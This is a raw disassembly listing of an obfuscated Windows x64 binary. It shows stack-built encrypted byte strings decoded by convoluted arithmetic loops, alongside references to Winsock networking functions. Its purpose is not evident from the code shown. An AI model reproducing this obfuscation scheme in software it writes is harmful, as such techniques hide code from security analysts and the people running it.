jmp 0x140076336
add r10b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
jmp 0x140076e41
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076e14
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x140076de1
add r10b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140076dde
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140076da0
sub r10b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
dec r11
inc r11
jmp 0x140076336
sub r10b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140076336
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
jmp 0x140076d30
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x1400769da
lea edx, [r10 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
add dil, dl
jmp 0x140076847
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076a12
sub r10b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140076a3a
lea edx, [r10 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
add dil, dl
jmp 0x140076e14
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076a63
sub r10b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140076dde
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140076847
add r10b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
inc r8
dec r11
inc r11
jmp 0x140076336
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076abb
lea edx, [r10 - 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x75
jmp 0x140076d30
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140076ae7
add r10b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5f
dec r11
inc r11
jmp 0x140076336
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140076b0c
lea edx, [r10 + 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x37
jmp 0x140076da0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076b32
sub r10b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x63
jmp 0x140076de1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400767fe
lea edx, [r10 - 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 7
add dil, dl
jmp 0x140076e14
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076b99
sub r10b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140076bc1
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140076e14
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140076be7
add r10b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
jmp 0x140076de1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400767c2
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
jmp 0x140076d30
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, r9b
jmp 0x140076da0
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0xe
add dil, dl
jmp 0x140076e14
sub r10b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6d
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
lea edx, [r10 + 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x41
add dil, dl
jmp 0x140076e14
add r10b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
jmp 0x140076de1
add r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x140076dde
sub r10b, 0x71
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x17
dec r11
inc r11
jmp 0x140076336
lea edx, [r10 + 0x1b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x43
jmp 0x140076d30
movzx r10d, r11b
lea edx, [r10 - 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6f
add dil, dl
add r10b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x2d
add r9b, r10b
mov byte [rbp + r11 + 0x540], r9b
inc r8
dec r11
inc r11
jmp 0x140076336
lea ecx, [r11 + 0x6d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 5
inc r8
dec r11
inc r11
jmp 0x140076336
movzx r10d, r11b
lea edx, [r10 - 7]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x31
add dil, dl
add r10b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x3d
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x540], r9b
jmp 0x140076dde
lea ecx, [r11 - 0x41]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x39
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140076336
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0xd
add dil, cl
movzx r10d, r11b
sub r10b, 0x61
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x59
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x540], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x540], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
sub r10b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
jmp 0x140076333
add r10b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x61
jmp 0x140076323
lea rdx, [rbp + 0x16beebc]
jmp 0x140076f07
lea rdx, [rbp + 0x11c8f59]
jmp 0x140076f07
lea rdx, [rbp + 0x540]
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140076f23
lea rcx, [rbp + 0x240]
call fcn.1400413d0
nop
mov r8d, ntohs
lea rdx, str.Oct_25_2024
lea rcx, [rbp + 0x240]
call fcn.140051050
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7d0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x7c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x7d0], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x240]
call fcn.140043e40
lea rcx, [rbp + 0x788]
call fcn.14000f5c0
lea rdx, [rbp + 0x7c0]
cmp qword [rbp + 0x7d8], 0xf
cmova rdx, qword [rbp + 0x7c0]
movss xmm0, dword [0x14014a404]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x790]
call fcn.14000afb0
movss xmm0, dword [rbp + 0x788]
subss xmm0, dword [rbp + 0x790]
mulss xmm0, xmm6
call fcn.14001a840
lea rcx, [rbp + 0x7c0]
cmp qword [rbp + 0x7d8], 0xf
cmova rcx, qword [rbp + 0x7c0]
call fcn.14003fda0
call fcn.1400165f0
call fcn.14000a5d0
cmp dword [0x1401fe800], 0
jne 0x140082e23
mov dword [rbp + 0x14], 0x42aa0000
mov dword [rbp + 0x18], 0x428c0000
lea rcx, [rbp + 0x14]
call fcn.14001a7c0
mov dword [rbp + 0x1c], 0x438d0000
mov dword [rbp + 0x20], 0x43c10000
lea r13, [rbp + 0x1c]
mov byte [rbp + 0x280], 0x59
mov byte [rbp + 0x281], 0xb0
mov byte [rbp + 0x282], 0x8f
mov byte [rbp + 0x283], 0x7b
mov byte [rbp + 0x284], 0x45
mov byte [rbp + 0x285], __WSAFDIsSet
mov byte [rbp + 0x286], __WSAFDIsSet
mov byte [rbp + 0x287], 0xae
mov byte [rbp + 0x288], __WSAFDIsSet
mov byte [rbp + 0x289], 0x9d
mov byte [rbp + 0x28a], 0xa3
mov byte [rbp + 0x28b], __WSAFDIsSet
mov byte [rbp + 0x28c], 0xaf
mov byte [rbp + 0x28d], 0xa0
mov byte [rbp + 0x28e], recvfrom
xor eax, eax
mov dword [rbp + 0x28f], eax
mov word [rbp + 0x293], ax
mov byte [rbp + 0x295], al
movabs r14, 0xc7af490159cbe02c
movabs r12, 0x75caff0974932134
movabs r15, 0x570ddb040d63a084
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x140077c24
movzx r10d, byte [rbp + r11 + 0x280]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140077c1b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007715c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x34
jmp 0x140077189
je 0x140077ba6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140077b15
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077ae3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140077a95
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140077c12
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400771ba
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140077200
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140077a8a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077a67
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140077a26
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077a06
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400779eb
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140077746
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007772b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140077702
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400776df
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400777d2
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400776bf
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400776a2
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140077683
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140077666
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140077634
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140077210
lea rbx, [r8 + 1]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140077bf2
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140077bd5
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400773f7
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400773d8
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400773bd
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400775df
lea rcx, [r8 + 0x200]
cmp rbx, rcx
jb 0x140077596
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007755c
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140077531
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140077210
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x1400774ff
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400774e2
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x1400774c3
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x1400774a6
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140077489
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14007747b
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140077458
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14007742f
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x140077414
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140077210
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x20]
jmp 0x140077210
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x140077200
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077190
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x140077130
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140077ab3
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140077113
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
dec r11
inc r11
jmp 0x140077113
lea edx, [r9 - 0x28]
mov ecx, ntohs
jmp 0x140077a2f
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140077af9
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x140077afc
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077b31
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140077b5f
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x280], dil
inc r11
jmp 0x140077113
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
cmp r8, 6
jb 0x14007754c
lea ecx, [r9 - 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x70]
jmp 0x140077ab3
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
cmp rbx, 0x5a
jae 0x1400779b0
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400778d9
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077572
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x1400779cf
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140077813
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400775ac
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x140077b5f
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077b31
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140077afc
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140077af9
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x140077113
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140077113
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140077ab3
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14007776a
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400775f9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400777a5
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400777c9
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140077b31
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400777e0
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x140077a2f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400775f9
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140077113
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007782a
lea edx, [r9 - 0x2c]
mov ecx, 0x1a
jmp 0x140077aa2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077850
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x140077af9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077879
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140077afc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007789d
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x140077b31
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400775ac
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077911
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077939
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077b31
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007795f
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140077afc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140077988
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140077af9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140077572
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140077a40
lea edx, [r9 - 0x20]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, r10b
add dil, dl
jmp 0x140077a40
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140077b31
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140077b31
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140077afc
lea edx, [r9 - 4]
mov ecx, recvfrom
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x54
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x280], r9b
jmp 0x140077af9
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x140077113
lea edx, [r9 - 0xc]
mov ecx, 0x2a
jmp 0x140077aa2
movzx r9d, r11b
lea edx, [r9 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x280], cl
inc r8
dec r11
inc r11
jmp 0x140077113
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140077113
lea rcx, [r11 + r12]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x6c
add dil, cl
movzx r9d, r11b
add r9b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x280], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x280], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0x32
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x280]
add rax, r8
add r11, rax
inc r11
jmp 0x140077113
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
jmp 0x140077110
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400770f5
lea rcx, [rbp + 0x17aa010]
jmp 0x140077c2b
lea rcx, [rbp + 0x146803c]
jmp 0x140077c2b
lea rcx, [rbp + 0x280]
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
call fcn.140009e00
mov byte [rbp + 0x2a0], 0xf1
mov byte [rbp + 0x2a1], 0xd7
mov byte [rbp + 0x2a2], 0xdb
mov byte [rbp + 0x2a3], 0xd9
mov byte [rbp + 0x2a4], 0xd6
mov byte [rbp + 0x2a5], 0xda
mov byte [rbp + 0x2a6], 0x9c
mov byte [rbp + 0x2a7], 0xfc
mov byte [rbp + 0x2a8], 0xd5
mov byte [rbp + 0x2a9], 0xae
mov byte [rbp + 0x2aa], 0xc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2ab], xmm0
movabs rsi, 0x8b8827c89342ae37
movabs r14, 0xe7c9660d2d581fef
movabs r12, 0xd0b9167c06d2c381
movabs r15, 0xa2987759b9c80aa5
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1b
jae 0x1400787e2
movzx r10d, byte [rbp + r11 + 0x2a0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400787d9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140077d1c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x7f
jmp 0x140077d63
je 0x14007876d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400786e5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400786ba
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078677
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140078656
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007860f
movzx r9d, r11b
cmp r8, r11
ja 0x1400787d0
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140077d91
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x140077dd0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400785f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400785d4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400785b4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140078599
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140078342
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140078327
